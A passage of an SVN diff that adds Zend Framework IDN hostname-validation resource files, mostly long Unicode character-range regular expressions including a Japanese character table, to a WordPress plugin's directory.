+'\x{4C6B}-\x{4C73}\x{4C75}-\x{4C86}\x{4C88}-\x{4C97}\x{4C99}-\x{4C9C}\x{4C9F}-\x{4CA3}\x{4CA5}-\x{4CB5}' .
+'\x{4CB7}-\x{4CF8}\x{4CFA}-\x{4D27}\x{4D29}-\x{4DAC}\x{4DAE}-\x{4DB1}\x{4DB3}-\x{4DB5}\x{4E00}-\x{4E54}' .
+'\x{4E56}-\x{4E89}\x{4E8B}-\x{4EEC}\x{4EEE}-\x{4FAC}\x{4FAE}-\x{503C}\x{503E}-\x{51E5}\x{51E7}-\x{5270}' .
+'\x{5272}-\x{56A1}\x{56A3}-\x{5840}\x{5842}-\x{58B5}\x{58B7}-\x{58CB}\x{58CD}-\x{5BC8}\x{5BCA}-\x{5C01}' .
+'\x{5C03}-\x{5C25}\x{5C27}-\x{5D5B}\x{5D5D}-\x{5F08}\x{5F0A}-\x{61F3}\x{61F5}-\x{63BA}\x{63BC}-\x{6441}' .
+'\x{6443}-\x{657C}\x{657E}-\x{663E}\x{6640}-\x{66FC}\x{66FE}-\x{6728}\x{672A}-\x{6766}\x{6768}-\x{67A8}' .
+'\x{67AA}-\x{685B}\x{685D}-\x{685E}\x{6860}-\x{68B9}\x{68BB}-\x{6AC8}\x{6ACA}-\x{6BB0}\x{6BB2}-\x{6C16}' .
+'\x{6C18}-\x{6D9B}\x{6D9D}-\x{6E12}\x{6E14}-\x{6E8B}\x{6E8D}-\x{704D}\x{704F}-\x{7113}\x{7115}-\x{713B}' .
+'\x{713D}-\x{7154}\x{7156}-\x{729F}\x{72A1}-\x{731E}\x{7320}-\x{7362}\x{7364}-\x{7533}\x{7535}-\x{7551}' .
+'\x{7553}-\x{7572}\x{7574}-\x{75E8}\x{75EA}-\x{7679}\x{767B}-\x{783E}\x{7840}-\x{7A62}\x{7A64}-\x{7AC2}' .
+'\x{7AC4}-\x{7B06}\x{7B08}-\x{7B79}\x{7B7B}-\x{7BCE}\x{7BD0}-\x{7D99}\x{7D9B}-\x{7E49}\x{7E4C}-\x{8132}' .
+'\x{8134}\x{8136}-\x{81D2}\x{81D4}-\x{8216}\x{8218}-\x{822D}\x{822F}-\x{83B4}\x{83B6}-\x{841F}' .
+'\x{8421}-\x{86CC}\x{86CE}-\x{874A}\x{874C}-\x{877E}\x{8780}-\x{8A32}\x{8A34}-\x{8B71}\x{8B73}-\x{8B8E}' .
+'\x{8B90}-\x{8DE4}\x{8DE6}-\x{8E9A}\x{8E9C}-\x{8EE1}\x{8EE4}-\x{8F0B}\x{8F0D}-\x{8FB9}\x{8FBB}-\x{9038}' .
+'\x{903A}-\x{9196}\x{9198}-\x{91A3}\x{91A5}-\x{91B7}\x{91B9}-\x{91C7}\x{91C9}-\x{91E0}\x{91E2}-\x{91FB}' .
+'\x{91FD}-\x{922B}\x{922D}-\x{9270}\x{9272}-\x{9420}\x{9422}-\x{9664}\x{9666}-\x{9679}\x{967B}-\x{9770}' .
+'\x{9772}-\x{982B}\x{982D}-\x{98ED}\x{98EF}-\x{99C4}\x{99C6}-\x{9A11}\x{9A14}-\x{9A27}\x{9A29}-\x{9D0D}' .
+'\x{9D0F}-\x{9D2B}\x{9D2D}-\x{9D8E}\x{9D90}-\x{9DC5}\x{9DC7}-\x{9E77}\x{9E79}-\x{9EB8}\x{9EBB}-\x{9F20}' .
+'\x{9F22}-\x{9F61}\x{9F63}-\x{9FA5}\x{FA28}]{1,20}$/iu',
+    6 => '/^[\x{0021}-\x{007E}]{1,63}$/iu',
+    7 => '/^[\x{00A1}-\x{00FF}]{1,63}$/iu',
+    8 => '/^[\x{0100}-\x{017f}]{1,63}$/iu',
+    9 => '/^[\x{0180}-\x{024f}]{1,63}$/iu',
+    10 => '/^[\x{0250}-\x{02af}]{1,63}$/iu',
+    11 => '/^[\x{02b0}-\x{02ff}]{1,63}$/iu',
+    12 => '/^[\x{0300}-\x{036f}]{1,63}$/iu',
+    13 => '/^[\x{0370}-\x{03ff}]{1,63}$/iu',
+    14 => '/^[\x{0400}-\x{04ff}]{1,63}$/iu',
+    15 => '/^[\x{0500}-\x{052f}]{1,63}$/iu',
+    16 => '/^[\x{0530}-\x{058F}]{1,63}$/iu',
+    17 => '/^[\x{0590}-\x{05FF}]{1,63}$/iu',
+    18 => '/^[\x{0600}-\x{06FF}]{1,63}$/iu',
+    19 => '/^[\x{0700}-\x{074F}]{1,63}$/iu',
+    20 => '/^[\x{0780}-\x{07BF}]{1,63}$/iu',
+    21 => '/^[\x{0900}-\x{097F}]{1,63}$/iu',
+    22 => '/^[\x{0980}-\x{09FF}]{1,63}$/iu',
+    23 => '/^[\x{0A00}-\x{0A7F}]{1,63}$/iu',
+    24 => '/^[\x{0A80}-\x{0AFF}]{1,63}$/iu',
+    25 => '/^[\x{0B00}-\x{0B7F}]{1,63}$/iu',
+    26 => '/^[\x{0B80}-\x{0BFF}]{1,63}$/iu',
+    27 => '/^[\x{0C00}-\x{0C7F}]{1,63}$/iu',
+    28 => '/^[\x{0C80}-\x{0CFF}]{1,63}$/iu',
+    29 => '/^[\x{0D00}-\x{0D7F}]{1,63}$/iu',
+    30 => '/^[\x{0D80}-\x{0DFF}]{1,63}$/iu',
+    31 => '/^[\x{0E00}-\x{0E7F}]{1,63}$/iu',
+    32 => '/^[\x{0E80}-\x{0EFF}]{1,63}$/iu',
+    33 => '/^[\x{0F00}-\x{0FFF}]{1,63}$/iu',
+    34 => '/^[\x{1000}-\x{109F}]{1,63}$/iu',
+    35 => '/^[\x{10A0}-\x{10FF}]{1,63}$/iu',
+    36 => '/^[\x{1100}-\x{11FF}]{1,63}$/iu',
+    37 => '/^[\x{1200}-\x{137F}]{1,63}$/iu',
+    38 => '/^[\x{13A0}-\x{13FF}]{1,63}$/iu',
+    39 => '/^[\x{1400}-\x{167F}]{1,63}$/iu',
+    40 => '/^[\x{1680}-\x{169F}]{1,63}$/iu',
+    41 => '/^[\x{16A0}-\x{16FF}]{1,63}$/iu',
+    42 => '/^[\x{1700}-\x{171F}]{1,63}$/iu',
+    43 => '/^[\x{1720}-\x{173F}]{1,63}$/iu',
+    44 => '/^[\x{1740}-\x{175F}]{1,63}$/iu',
+    45 => '/^[\x{1760}-\x{177F}]{1,63}$/iu',
+    46 => '/^[\x{1780}-\x{17FF}]{1,63}$/iu',
+    47 => '/^[\x{1800}-\x{18AF}]{1,63}$/iu',
+    48 => '/^[\x{1E00}-\x{1EFF}]{1,63}$/iu',
+    49 => '/^[\x{1F00}-\x{1FFF}]{1,63}$/iu',
+    50 => '/^[\x{2070}-\x{209F}]{1,63}$/iu',
+    51 => '/^[\x{2100}-\x{214F}]{1,63}$/iu',
+    52 => '/^[\x{2150}-\x{218F}]{1,63}$/iu',
+    53 => '/^[\x{2460}-\x{24FF}]{1,63}$/iu',
+    54 => '/^[\x{2E80}-\x{2EFF}]{1,63}$/iu',
+    55 => '/^[\x{2F00}-\x{2FDF}]{1,63}$/iu',
+    56 => '/^[\x{2FF0}-\x{2FFF}]{1,63}$/iu',
+    57 => '/^[\x{3040}-\x{309F}]{1,63}$/iu',
+    58 => '/^[\x{30A0}-\x{30FF}]{1,63}$/iu',
+    59 => '/^[\x{3100}-\x{312F}]{1,63}$/iu',
+    60 => '/^[\x{3130}-\x{318F}]{1,63}$/iu',
+    61 => '/^[\x{3190}-\x{319F}]{1,63}$/iu',
+    62 => '/^[\x{31A0}-\x{31BF}]{1,63}$/iu',
+    63 => '/^[\x{31F0}-\x{31FF}]{1,63}$/iu',
+    64 => '/^[\x{3200}-\x{32FF}]{1,63}$/iu',
+    65 => '/^[\x{3300}-\x{33FF}]{1,63}$/iu',
+    66 => '/^[\x{3400}-\x{4DBF}]{1,63}$/iu',
+    67 => '/^[\x{4E00}-\x{9FFF}]{1,63}$/iu',
+    68 => '/^[\x{A000}-\x{A48F}]{1,63}$/iu',
+    69 => '/^[\x{A490}-\x{A4CF}]{1,63}$/iu',
+    70 => '/^[\x{AC00}-\x{D7AF}]{1,63}$/iu',
+    71 => '/^[\x{D800}-\x{DB7F}]{1,63}$/iu',
+    72 => '/^[\x{DC00}-\x{DFFF}]{1,63}$/iu',
+    73 => '/^[\x{F900}-\x{FAFF}]{1,63}$/iu',
+    74 => '/^[\x{FB00}-\x{FB4F}]{1,63}$/iu',
+    75 => '/^[\x{FB50}-\x{FDFF}]{1,63}$/iu',
+    76 => '/^[\x{FE20}-\x{FE2F}]{1,63}$/iu',
+    77 => '/^[\x{FE70}-\x{FEFF}]{1,63}$/iu',
+    78 => '/^[\x{FF00}-\x{FFEF}]{1,63}$/iu',
+    79 => '/^[\x{20000}-\x{2A6DF}]{1,63}$/iu',
+    80 => '/^[\x{2F800}-\x{2FA1F}]{1,63}$/iu'
+);
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Hostname/Jp.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Hostname/Jp.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Hostname/Jp.php	(revision 44)
@@ -0,0 +1,739 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Validate
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ * @version    $Id: Hostname.php 14417 2009-03-21 22:27:38Z thomas $
+ */
+
+/**
+ * Ressource file for japanese idn validation
+ *
+ * @category   Zend
+ * @package    Zend_Validate
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+return array(
+    1  => '/^[\x{002d}0-9a-z\x{3005}-\x{3007}\x{3041}-\x{3093}\x{309D}\x{309E}' .
+'\x{30A1}-\x{30F6}\x{30FC}' .
+'\x{30FD}\x{30FE}\x{4E00}\x{4E01}\x{4E03}\x{4E07}\x{4E08}\x{4E09}\x{4E0A}' .
+'\x{4E0B}\x{4E0D}\x{4E0E}\x{4E10}\x{4E11}\x{4E14}\x{4E15}\x{4E16}\x{4E17}' .
+'\x{4E18}\x{4E19}\x{4E1E}\x{4E21}\x{4E26}\x{4E2A}\x{4E2D}\x{4E31}\x{4E32}' .
+'\x{4E36}\x{4E38}\x{4E39}\x{4E3B}\x{4E3C}\x{4E3F}\x{4E42}\x{4E43}\x{4E45}' .
+'\x{4E4B}\x{4E4D}\x{4E4E}\x{4E4F}\x{4E55}\x{4E56}\x{4E57}\x{4E58}\x{4E59}' .
+'\x{4E5D}\x{4E5E}\x{4E5F}\x{4E62}\x{4E71}\x{4E73}\x{4E7E}\x{4E80}\x{4E82}' .
+'\x{4E85}\x{4E86}\x{4E88}\x{4E89}\x{4E8A}\x{4E8B}\x{4E8C}\x{4E8E}\x{4E91}' .
+'\x{4E92}\x{4E94}\x{4E95}\x{4E98}\x{4E99}\x{4E9B}\x{4E9C}\x{4E9E}\x{4E9F}' .
+'\x{4EA0}\x{4EA1}\x{4EA2}\x{4EA4}\x{4EA5}\x{4EA6}\x{4EA8}\x{4EAB}\x{4EAC}' .
+'\x{4EAD}\x{4EAE}\x{4EB0}\x{4EB3}\x{4EB6}\x{4EBA}\x{4EC0}\x{4EC1}\x{4EC2}' .
+'\x{4EC4}\x{4EC6}\x{4EC7}\x{4ECA}\x{4ECB}\x{4ECD}\x{4ECE}\x{4ECF}\x{4ED4}' .
+'\x{4ED5}\x{4ED6}\x{4ED7}\x{4ED8}\x{4ED9}\x{4EDD}\x{4EDE}\x{4EDF}\x{4EE3}' .
+'\x{4EE4}\x{4EE5}\x{4EED}\x{4EEE}\x{4EF0}\x{4EF2}\x{4EF6}\x{4EF7}\x{4EFB}' .
+'\x{4F01}\x{4F09}\x{4F0A}\x{4F0D}\x{4F0E}\x{4F0F}\x{4F10}\x{4F11}\x{4F1A}' .
+'\x{4F1C}\x{4F1D}\x{4F2F}\x{4F30}\x{4F34}\x{4F36}\x{4F38}\x{4F3A}\x{4F3C}' .
+'\x{4F3D}\x{4F43}\x{4F46}\x{4F47}\x{4F4D}\x{4F4E}\x{4F4F}\x{4F50}\x{4F51}' .
+'\x{4F53}\x{4F55}\x{4F57}\x{4F59}\x{4F5A}\x{4F5B}\x{4F5C}\x{4F5D}\x{4F5E}' .
+'\x{4F69}\x{4F6F}\x{4F70}\x{4F73}\x{4F75}\x{4F76}\x{4F7B}\x{4F7C}\x{4F7F}' .
+'\x{4F83}\x{4F86}\x{4F88}\x{4F8B}\x{4F8D}\x{4F8F}\x{4F91}\x{4F96}\x{4F98}' .
+'\x{4F9B}\x{4F9D}\x{4FA0}\x{4FA1}\x{4FAB}\x{4FAD}\x{4FAE}\x{4FAF}\x{4FB5}' .
+'\x{4FB6}\x{4FBF}\x{4FC2}\x{4FC3}\x{4FC4}\x{4FCA}\x{4FCE}\x{4FD0}\x{4FD1}' .
+'\x{4FD4}\x{4FD7}\x{4FD8}\x{4FDA}\x{4FDB}\x{4FDD}\x{4FDF}\x{4FE1}\x{4FE3}' .
+'\x{4FE4}\x{4FE5}\x{4FEE}\x{4FEF}\x{4FF3}\x{4FF5}\x{4FF6}\x{4FF8}\x{4FFA}' .
+'\x{4FFE}\x{5005}\x{5006}\x{5009}\x{500B}\x{500D}\x{500F}\x{5011}\x{5012}' .
+'\x{5014}\x{5016}\x{5019}\x{501A}\x{501F}\x{5021}\x{5023}\x{5024}\x{5025}' .
+'\x{5026}\x{5028}\x{5029}\x{502A}\x{502B}\x{502C}\x{502D}\x{5036}\x{5039}' .
+'\x{5043}\x{5047}\x{5048}\x{5049}\x{504F}\x{5050}\x{5055}\x{5056}\x{505A}' .
+'\x{505C}\x{5065}\x{506C}\x{5072}\x{5074}\x{5075}\x{5076}\x{5078}\x{507D}' .
+'\x{5080}\x{5085}\x{508D}\x{5091}\x{5098}\x{5099}\x{509A}\x{50AC}\x{50AD}' .
+'\x{50B2}\x{50B3}\x{50B4}\x{50B5}\x{50B7}\x{50BE}\x{50C2}\x{50C5}\x{50C9}' .
+'\x{50CA}\x{50CD}\x{50CF}\x{50D1}\x{50D5}\x{50D6}\x{50DA}\x{50DE}\x{50E3}' .
+'\x{50E5}\x{50E7}\x{50ED}\x{50EE}\x{50F5}\x{50F9}\x{50FB}\x{5100}\x{5101}' .
+'\x{5102}\x{5104}\x{5109}\x{5112}\x{5114}\x{5115}\x{5116}\x{5118}\x{511A}' .
+'\x{511F}\x{5121}\x{512A}\x{5132}\x{5137}\x{513A}\x{513B}\x{513C}\x{513F}' .
+'\x{5140}\x{5141}\x{5143}\x{5144}\x{5145}\x{5146}\x{5147}\x{5148}\x{5149}' .
+'\x{514B}\x{514C}\x{514D}\x{514E}\x{5150}\x{5152}\x{5154}\x{515A}\x{515C}' .
+'\x{5162}\x{5165}\x{5168}\x{5169}\x{516A}\x{516B}\x{516C}\x{516D}\x{516E}' .
+'\x{5171}\x{5175}\x{5176}\x{5177}\x{5178}\x{517C}\x{5180}\x{5182}\x{5185}' .
+'\x{5186}\x{5189}\x{518A}\x{518C}\x{518D}\x{518F}\x{5190}\x{5191}\x{5192}' .
+'\x{5193}\x{5195}\x{5196}\x{5197}\x{5199}\x{51A0}\x{51A2}\x{51A4}\x{51A5}' .
+'\x{51A6}\x{51A8}\x{51A9}\x{51AA}\x{51AB}\x{51AC}\x{51B0}\x{51B1}\x{51B2}' .
+'\x{51B3}\x{51B4}\x{51B5}\x{51B6}\x{51B7}\x{51BD}\x{51C4}\x{51C5}\x{51C6}' .
+'\x{51C9}\x{51CB}\x{51CC}\x{51CD}\x{51D6}\x{51DB}\x{51DC}\x{51DD}\x{51E0}' .
+'\x{51E1}\x{51E6}\x{51E7}\x{51E9}\x{51EA}\x{51ED}\x{51F0}\x{51F1}\x{51F5}' .
+'\x{51F6}\x{51F8}\x{51F9}\x{51FA}\x{51FD}\x{51FE}\x{5200}\x{5203}\x{5204}' .
+'\x{5206}\x{5207}\x{5208}\x{520A}\x{520B}\x{520E}\x{5211}\x{5214}\x{5217}' .
+'\x{521D}\x{5224}\x{5225}\x{5227}\x{5229}\x{522A}\x{522E}\x{5230}\x{5233}' .
+'\x{5236}\x{5237}\x{5238}\x{5239}\x{523A}\x{523B}\x{5243}\x{5244}\x{5247}' .
+'\x{524A}\x{524B}\x{524C}\x{524D}\x{524F}\x{5254}\x{5256}\x{525B}\x{525E}' .
+'\x{5263}\x{5264}\x{5265}\x{5269}\x{526A}\x{526F}\x{5270}\x{5271}\x{5272}' .
+'\x{5273}\x{5274}\x{5275}\x{527D}\x{527F}\x{5283}\x{5287}\x{5288}\x{5289}' .
+'\x{528D}\x{5291}\x{5292}\x{5294}\x{529B}\x{529F}\x{52A0}\x{52A3}\x{52A9}' .
+'\x{52AA}\x{52AB}\x{52AC}\x{52AD}\x{52B1}\x{52B4}\x{52B5}\x{52B9}\x{52BC}' .
+'\x{52BE}\x{52C1}\x{52C3}\x{52C5}\x{52C7}\x{52C9}\x{52CD}\x{52D2}\x{52D5}' .
+'\x{52D7}\x{52D8}\x{52D9}\x{52DD}\x{52DE}\x{52DF}\x{52E0}\x{52E2}\x{52E3}' .
+'\x{52E4}\x{52E6}\x{52E7}\x{52F2}\x{52F3}\x{52F5}\x{52F8}\x{52F9}\x{52FA}' .
+'\x{52FE}\x{52FF}\x{5301}\x{5302}\x{5305}\x{5306}\x{5308}\x{530D}\x{530F}' .
+'\x{5310}\x{5315}\x{5316}\x{5317}\x{5319}\x{531A}\x{531D}\x{5320}\x{5321}' .
+'\x{5323}\x{532A}\x{532F}\x{5331}\x{5333}\x{5338}\x{5339}\x{533A}\x{533B}' .
+'\x{533F}\x{5340}\x{5341}\x{5343}\x{5345}\x{5346}\x{5347}\x{5348}\x{5349}' .
+'\x{534A}\x{534D}\x{5351}\x{5352}\x{5353}\x{5354}\x{5357}\x{5358}\x{535A}' .
+'\x{535C}\x{535E}\x{5360}\x{5366}\x{5369}\x{536E}\x{536F}\x{5370}\x{5371}' .
+'\x{5373}\x{5374}\x{5375}\x{5377}\x{5378}\x{537B}\x{537F}\x{5382}\x{5384}' .
+'\x{5396}\x{5398}\x{539A}\x{539F}\x{53A0}\x{53A5}\x{53A6}\x{53A8}\x{53A9}' .
+'\x{53AD}\x{53AE}\x{53B0}\x{53B3}\x{53B6}\x{53BB}\x{53C2}\x{53C3}\x{53C8}' .
+'\x{53C9}\x{53CA}\x{53CB}\x{53CC}\x{53CD}\x{53CE}\x{53D4}\x{53D6}\x{53D7}' .
+'\x{53D9}\x{53DB}\x{53DF}\x{53E1}\x{53E2}\x{53E3}\x{53E4}\x{53E5}\x{53E8}' .
+'\x{53E9}\x{53EA}\x{53EB}\x{53EC}\x{53ED}\x{53EE}\x{53EF}\x{53F0}\x{53F1}' .
+'\x{53F2}\x{53F3}\x{53F6}\x{53F7}\x{53F8}\x{53FA}\x{5401}\x{5403}\x{5404}' .
+'\x{5408}\x{5409}\x{540A}\x{540B}\x{540C}\x{540D}\x{540E}\x{540F}\x{5410}' .
+'\x{5411}\x{541B}\x{541D}\x{541F}\x{5420}\x{5426}\x{5429}\x{542B}\x{542C}' .
+'\x{542D}\x{542E}\x{5436}\x{5438}\x{5439}\x{543B}\x{543C}\x{543D}\x{543E}' .
+'\x{5440}\x{5442}\x{5446}\x{5448}\x{5449}\x{544A}\x{544E}\x{5451}\x{545F}' .
+'\x{5468}\x{546A}\x{5470}\x{5471}\x{5473}\x{5475}\x{5476}\x{5477}\x{547B}' .
+'\x{547C}\x{547D}\x{5480}\x{5484}\x{5486}\x{548B}\x{548C}\x{548E}\x{548F}' .
+'\x{5490}\x{5492}\x{54A2}\x{54A4}\x{54A5}\x{54A8}\x{54AB}\x{54AC}\x{54AF}' .
+'\x{54B2}\x{54B3}\x{54B8}\x{54BC}\x{54BD}\x{54BE}\x{54C0}\x{54C1}\x{54C2}' .
+'\x{54C4}\x{54C7}\x{54C8}\x{54C9}\x{54D8}\x{54E1}\x{54E2}\x{54E5}\x{54E6}' .
+'\x{54E8}\x{54E9}\x{54ED}\x{54EE}\x{54F2}\x{54FA}\x{54FD}\x{5504}\x{5506}' .
+'\x{5507}\x{550F}\x{5510}\x{5514}\x{5516}\x{552E}\x{552F}\x{5531}\x{5533}' .
+'\x{5538}\x{5539}\x{553E}\x{5540}\x{5544}\x{5545}\x{5546}\x{554C}\x{554F}' .
+'\x{5553}\x{5556}\x{5557}\x{555C}\x{555D}\x{5563}\x{557B}\x{557C}\x{557E}' .
+'\x{5580}\x{5583}\x{5584}\x{5587}\x{5589}\x{558A}\x{558B}\x{5598}\x{5599}' .
+'\x{559A}\x{559C}\x{559D}\x{559E}\x{559F}\x{55A7}\x{55A8}\x{55A9}\x{55AA}' .
+'\x{55AB}\x{55AC}\x{55AE}\x{55B0}\x{55B6}\x{55C4}\x{55C5}\x{55C7}\x{55D4}' .
+'\x{55DA}\x{55DC}\x{55DF}\x{55E3}\x{55E4}\x{55F7}\x{55F9}\x{55FD}\x{55FE}' .
+'\x{5606}\x{5609}\x{5614}\x{5616}\x{5617}\x{5618}\x{561B}\x{5629}\x{562F}' .
+'\x{5631}\x{5632}\x{5634}\x{5636}\x{5638}\x{5642}\x{564C}\x{564E}\x{5650}' .
+'\x{565B}\x{5664}\x{5668}\x{566A}\x{566B}\x{566C}\x{5674}\x{5678}\x{567A}' .
+'\x{5680}\x{5686}\x{5687}\x{568A}\x{568F}\x{5694}\x{56A0}\x{56A2}\x{56A5}' .
+'\x{56AE}\x{56B4}\x{56B6}\x{56BC}\x{56C0}\x{56C1}\x{56C2}\x{56C3}\x{56C8}' .
+'\x{56CE}\x{56D1}\x{56D3}\x{56D7}\x{56D8}\x{56DA}\x{56DB}\x{56DE}\x{56E0}' .
+'\x{56E3}\x{56EE}\x{56F0}\x{56F2}\x{56F3}\x{56F9}\x{56FA}\x{56FD}\x{56FF}' .
+'\x{5700}\x{5703}\x{5704}\x{5708}\x{5709}\x{570B}\x{570D}\x{570F}\x{5712}' .
+'\x{5713}\x{5716}\x{5718}\x{571C}\x{571F}\x{5726}\x{5727}\x{5728}\x{572D}' .
+'\x{5730}\x{5737}\x{5738}\x{573B}\x{5740}\x{5742}\x{5747}\x{574A}\x{574E}' .
+'\x{574F}\x{5750}\x{5751}\x{5761}\x{5764}\x{5766}\x{5769}\x{576A}\x{577F}' .
+'\x{5782}\x{5788}\x{5789}\x{578B}\x{5793}\x{57A0}\x{57A2}\x{57A3}\x{57A4}' .
+'\x{57AA}\x{57B0}\x{57B3}\x{57C0}\x{57C3}\x{57C6}\x{57CB}\x{57CE}\x{57D2}' .
+'\x{57D3}\x{57D4}\x{57D6}\x{57DC}\x{57DF}\x{57E0}\x{57E3}\x{57F4}\x{57F7}' .
+'\x{57F9}\x{57FA}\x{57FC}\x{5800}\x{5802}\x{5805}\x{5806}\x{580A}\x{580B}' .
+'\x{5815}\x{5819}\x{581D}\x{5821}\x{5824}\x{582A}\x{582F}\x{5830}\x{5831}' .
+'\x{5834}\x{5835}\x{583A}\x{583D}\x{5840}\x{5841}\x{584A}\x{584B}\x{5851}' .
+'\x{5852}\x{5854}\x{5857}\x{5858}\x{5859}\x{585A}\x{585E}\x{5862}\x{5869}' .
+'\x{586B}\x{5870}\x{5872}\x{5875}\x{5879}\x{587E}\x{5883}\x{5885}\x{5893}' .
+'\x{5897}\x{589C}\x{589F}\x{58A8}\x{58AB}\x{58AE}\x{58B3}\x{58B8}\x{58B9}' .
+'\x{58BA}\x{58BB}\x{58BE}\x{58C1}\x{58C5}\x{58C7}\x{58CA}\x{58CC}\x{58D1}' .
+'\x{58D3}\x{58D5}\x{58D7}\x{58D8}\x{58D9}\x{58DC}\x{58DE}\x{58DF}\x{58E4}' .
+'\x{58E5}\x{58EB}\x{58EC}\x{58EE}\x{58EF}\x{58F0}\x{58F1}\x{58F2}\x{58F7}' .
+'\x{58F9}\x{58FA}\x{58FB}\x{58FC}\x{58FD}\x{5902}\x{5909}\x{590A}\x{590F}' .
+'\x{5910}\x{5915}\x{5916}\x{5918}\x{5919}\x{591A}\x{591B}\x{591C}\x{5922}' .
+'\x{5925}\x{5927}\x{5929}\x{592A}\x{592B}\x{592C}\x{592D}\x{592E}\x{5931}' .
+'\x{5932}\x{5937}\x{5938}\x{593E}\x{5944}\x{5947}\x{5948}\x{5949}\x{594E}' .
+'\x{594F}\x{5950}\x{5951}\x{5954}\x{5955}\x{5957}\x{5958}\x{595A}\x{5960}' .
+'\x{5962}\x{5965}\x{5967}\x{5968}\x{5969}\x{596A}\x{596C}\x{596E}\x{5973}' .
+'\x{5974}\x{5978}\x{597D}\x{5981}\x{5982}\x{5983}\x{5984}\x{598A}\x{598D}' .
+'\x{5993}\x{5996}\x{5999}\x{599B}\x{599D}\x{59A3}\x{59A5}\x{59A8}\x{59AC}' .
+'\x{59B2}\x{59B9}\x{59BB}\x{59BE}\x{59C6}\x{59C9}\x{59CB}\x{59D0}\x{59D1}' .
+'\x{59D3}\x{59D4}\x{59D9}\x{59DA}\x{59DC}\x{59E5}\x{59E6}\x{59E8}\x{59EA}' .
+'\x{59EB}\x{59F6}\x{59FB}\x{59FF}\x{5A01}\x{5A03}\x{5A09}\x{5A11}\x{5A18}' .
+'\x{5A1A}\x{5A1C}\x{5A1F}\x{5A20}\x{5A25}\x{5A29}\x{5A2F}\x{5A35}\x{5A36}' .
+'\x{5A3C}\x{5A40}\x{5A41}\x{5A46}\x{5A49}\x{5A5A}\x{5A62}\x{5A66}\x{5A6A}' .
+'\x{5A6C}\x{5A7F}\x{5A92}\x{5A9A}\x{5A9B}\x{5ABC}\x{5ABD}\x{5ABE}\x{5AC1}' .
+'\x{5AC2}\x{5AC9}\x{5ACB}\x{5ACC}\x{5AD0}\x{5AD6}\x{5AD7}\x{5AE1}\x{5AE3}' .
+'\x{5AE6}\x{5AE9}\x{5AFA}\x{5AFB}\x{5B09}\x{5B0B}\x{5B0C}\x{5B16}\x{5B22}' .
+'\x{5B2A}\x{5B2C}\x{5B30}\x{5B32}\x{5B36}\x{5B3E}\x{5B40}\x{5B43}\x{5B45}' .
+'\x{5B50}\x{5B51}\x{5B54}\x{5B55}\x{5B57}\x{5B58}\x{5B5A}\x{5B5B}\x{5B5C}' .
+'\x{5B5D}\x{5B5F}\x{5B63}\x{5B64}\x{5B65}\x{5B66}\x{5B69}\x{5B6B}\x{5B70}' .
+'\x{5B71}\x{5B73}\x{5B75}\x{5B78}\x{5B7A}\x{5B80}\x{5B83}\x{5B85}\x{5B87}' .
+'\x{5B88}\x{5B89}\x{5B8B}\x{5B8C}\x{5B8D}\x{5B8F}\x{5B95}\x{5B97}\x{5B98}' .
+'\x{5B99}\x{5B9A}\x{5B9B}\x{5B9C}\x{5B9D}\x{5B9F}\x{5BA2}\x{5BA3}\x{5BA4}' .
+'\x{5BA5}\x{5BA6}\x{5BAE}\x{5BB0}\x{5BB3}\x{5BB4}\x{5BB5}\x{5BB6}\x{5BB8}' .
+'\x{5BB9}\x{5BBF}\x{5BC2}\x{5BC3}\x{5BC4}\x{5BC5}\x{5BC6}\x{5BC7}\x{5BC9}' .
+'\x{5BCC}\x{5BD0}\x{5BD2}\x{5BD3}\x{5BD4}\x{5BDB}\x{5BDD}\x{5BDE}\x{5BDF}' .
+'\x{5BE1}\x{5BE2}\x{5BE4}\x{5BE5}\x{5BE6}\x{5BE7}\x{5BE8}\x{5BE9}\x{5BEB}' .
+'\x{5BEE}\x{5BF0}\x{5BF3}\x{5BF5}\x{5BF6}\x{5BF8}\x{5BFA}\x{5BFE}\x{5BFF}' .
+'\x{5C01}\x{5C02}\x{5C04}\x{5C05}\x{5C06}\x{5C07}\x{5C08}\x{5C09}\x{5C0A}' .
+'\x{5C0B}\x{5C0D}\x{5C0E}\x{5C0F}\x{5C11}\x{5C13}\x{5C16}\x{5C1A}\x{5C20}' .
+'\x{5C22}\x{5C24}\x{5C28}\x{5C2D}\x{5C31}\x{5C38}\x{5C39}\x{5C3A}\x{5C3B}' .
+'\x{5C3C}\x{5C3D}\x{5C3E}\x{5C3F}\x{5C40}\x{5C41}\x{5C45}\x{5C46}\x{5C48}' .
+'\x{5C4A}\x{5C4B}\x{5C4D}\x{5C4E}\x{5C4F}\x{5C50}\x{5C51}\x{5C53}\x{5C55}' .
+'\x{5C5E}\x{5C60}\x{5C61}\x{5C64}\x{5C65}\x{5C6C}\x{5C6E}\x{5C6F}\x{5C71}' .
+'\x{5C76}\x{5C79}\x{5C8C}\x{5C90}\x{5C91}\x{5C94}\x{5CA1}\x{5CA8}\x{5CA9}' .
+'\x{5CAB}\x{5CAC}\x{5CB1}\x{5CB3}\x{5CB6}\x{5CB7}\x{5CB8}\x{5CBB}\x{5CBC}' .
+'\x{5CBE}\x{5CC5}\x{5CC7}\x{5CD9}\x{5CE0}\x{5CE1}\x{5CE8}\x{5CE9}\x{5CEA}' .
+'\x{5CED}\x{5CEF}\x{5CF0}\x{5CF6}\x{5CFA}\x{5CFB}\x{5CFD}\x{5D07}\x{5D0B}' .
+'\x{5D0E}\x{5D11}\x{5D14}\x{5D15}\x{5D16}\x{5D17}\x{5D18}\x{5D19}\x{5D1A}' .
+'\x{5D1B}\x{5D1F}\x{5D22}\x{5D29}\x{5D4B}\x{5D4C}\x{5D4E}\x{5D50}\x{5D52}' .
